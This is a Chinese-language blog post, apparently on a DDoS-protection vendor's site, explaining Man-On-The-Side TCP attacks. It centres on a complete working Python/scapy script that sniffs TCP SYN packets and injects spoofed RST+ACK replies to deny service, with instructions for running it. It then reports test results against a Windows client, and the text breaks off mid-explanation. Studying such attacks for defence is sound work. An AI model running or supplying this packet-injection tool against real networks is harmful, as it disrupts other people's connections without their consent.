DDOS防御专家-提供超强DDoS高防/CC防护/大流量清洗服务!
当前位置:主页 > DDOS防御 > 正文

MOTS攻击之TCP攻击

09-17 DDOS防御

1.  概述
继续进行MOTS类型攻击方式的进展。这里再次强调一下,MOTS 是指 Man-On-The-Side,是一种在旁路监听模式下的攻击方式;和 MITM 不同,MITM 是指 Man-In-The-Middle,是中间人攻击。MOTS 其原理是监听与构造响应数据包,并在正常数据包返回之前插入伪造的数据包。其实现的核心条件是 TCP/IP 协议本身实现时并没有考虑这方面的安全问题。MOTS 实现的整体逻辑如下所示,其中 Attack 是旁路监听模式,而不是直接串在网络中的。这种类型的攻击比中间人攻击相对隐秘,其正常情况下只是监听,需要攻击时才进行攻击,并且攻击时只需要发送少量报文,不会出现大流量。所以具有隐蔽、难以发现、攻击效果明显等特点。

MOTS攻击之TCP攻击


前面已经进行了MOTS相关原理及基于UDP应用攻击的描述。不了解的可以点击这里:
《MOTS攻击技术分析》
《MOTS攻击之UDP攻击》
学习过TCP/IP的同学都应该了解,传输层有两种协协议:TCP和UDP,这两种协议本身的特点决定了其应用场景的不同。TCP作为一种可靠的协议,其具有面向连接、可靠等特点。所以很多应用都基于TCP作开发,如应用最多的web应用。针对TCP的攻击这里主要介绍两种方式:DOS和劫持,其他类型的攻击,大家可以完善、补充。
2.  DOS攻击
2.1  原理
大家知道,针对某一IP的特点端口进行探测其是否开放时,一般发送SYN,若其端口开放,对方回应SYN+ACK;若端口不开放,则回应reset。所以针对TCP的应用,我们进行DOS时,可以监听其SYN包,一旦有客户端发送SYN,直接给其回应reset,并且保证伪造的reset比正常的响应包早到,即可达到DOS的效果。其实现逻辑如下图所示:

MOTS攻击之TCP攻击


2.2 三次握手DOS
要实现对TCP应用的DOS,需要按照以下几步实现:
1、构造reset报文
2、监听网络中的TCP SYN报文
3、监听到TCP SYN报文时,回应reset报文
2.2.1  安装scapy库
实现TCP的DOS攻击是通过安装python的第三方库scapy库来实现的,python本身没有这个库,需要手工安装,具体安装方法大家根据自己的系统与python版本自行安装,本人测试是使用Win10 Pro+Python3.6。python 3.6版本可以通过命令: pip install scapy来安装。
2.2.2  构造reset报文
reset报文结构相对较简单,普通的TCP报文,只是其reset和ack位置一,且ack=前一报文的seq+1。对方收到reset报文后,其TCP层立即释放TCP连接,reset报文比fin报文释放连接时效率高很多,正常的TCP关闭使用FIN时需要四个报文,而使用reset来释放的话只需要一个报文。

MOTS攻击之TCP攻击


2.2.3  监听并攻击
攻击程序代码如下,大家可以根据实际情况修改:
#coding:utf-8
”’
date:2017-07-07
author:feiniao
Version:1.0
”’
from scapy.all import *
import random
”’
1、windows绑定本机网卡,首先使用show_interfaces()查看相关网卡
2、再使用conf.iface=”绑定相应的网卡
3、linux需要在sniff()中指定相应的网卡
”’
conf.iface=’Intel(R) Dual Band Wireless-AC 8260′
#随机ip字段的id和ttl
ipid = random.randint(1,65535)
ipttl = random.randint(45,80)
tcpseq = random.randint(1,4294967295)
def buying(tcpmots):
 resp = Ether()/IP()/TCP()
 #构造TCP相关字段
 resp[TCP].dport = tcpmots[TCP].sport
 resp[TCP].sport = tcpmots[TCP].dport
 resp[TCP].ack = tcpmots[TCP].seq + 1
 resp[TCP].flags = “RA”
 resp[TCP].window = 0
 #构造IP包头
 resp[IP].src = tcpmots[IP].dst
 resp[IP].dst = tcpmots[IP].src
 resp[IP].ttl = ipttl
 resp[IP].id  = ipid
 #构造以太网包头
 resp[Ether].src = tcpmots[Ether].dst
 resp[Ether].dst = tcpmots[Ether].src
 #发送构造的TCP DOS 包
 sendp(resp,count=1)
 print(“TCP DOS 攻击”,resp[IP].dst,”成功”)
if __name__ == ‘__main__’:
 sniff(prn=buying,filter=’tcp[tcpflags]&(tcp-syn)!=0 and tcp[tcpflags]&(tcp-ack)==0′)
找到攻击程序所在的目录,直接输入python tcpsyndos.py即可。
大家攻击测试的情况可能和我一样,收到客户端的SYN包以后,明明发送了reset报文,并且对方也收到了,但是客户端就是不释放连接,并且正常的响应报文过来以后还可以正常交互。其报文交互如下所示:

MOTS攻击之TCP攻击


通过上面的交互可以看到,192.168.0.105发送一个SYN报文,118.184.32.93首先回应了一个reset报文,其rst和ack位均置一。但是192.168.0.105并没有释放连接,然后收到118.184.32.93的syn+ack报文,反而建立成功了TCP的三次握手,后面还正常进行数据的交互。正常情况下,客户端收到reset报文时的确应该是直接释放TCP连接,但是攻击在不断进化与升级的同时,防护也同样在升级。本人测试时使用的是Windows10 Pro版本,经分析,其应该是操作系统

版权保护: 本文由 DDOS防御专家 原创,转载请保留链接: http://sskjddosgb11.ddosgb.com//ddos1/77.html

DDoS防御专家简介孤之剑
国内资深白帽子二十人组成员,前BAT资深网络安全工程师,知名网络安全站点板块大神,每年提交Google及微软漏洞,原sina微博负载插件开发者,现在整体防御复合攻击长期接受1-4.7T攻击,CC防护自主开发指纹识别系统,可以做到99.9999%的无敌防御。
  • 文章总数
  • 676017访问次数
  • 建站天数
  • 友情链接

    DDOS防御

    ddos防御

    cc防护

    web安全

    高防服务器

    高防cdn


    QQ客服

    400-0797-119

    X